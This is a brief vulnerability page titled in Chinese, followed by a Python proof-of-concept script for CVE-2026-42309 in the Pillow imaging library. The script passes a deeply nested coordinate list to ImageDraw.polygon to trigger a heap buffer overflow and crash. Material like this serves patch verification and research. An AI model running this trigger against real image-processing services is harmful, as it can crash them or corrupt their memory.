CVE-2026-42309 Pillow堆缓冲区溢出漏洞

# PoC for CVE-2026-42309 Pillow Heap Buffer Overflow # This script attempts to trigger the vulnerability by passing nested lists to drawing functions. from PIL import Image, ImageDraw # Create a blank image img = Image.new('RGB', (100, 100), 'white') draw = ImageDraw.Draw(img) # Vulnerability: Passing nested lists instead of flat coordinate tuples # The library attempts to recursively unpack these, leading to heap overflow. malicious_coords = [[[[[10, 10]]]]] # Deeply nested list try: print("Attempting to trigger vulnerability via ImageDraw.polygon...") # This should cause a crash or undefined behavior in vulnerable versions draw.polygon(malicious_coords, fill='red') print("Execution completed (System might be patched).") except Exception as e: print(f"Exception caught: {e}")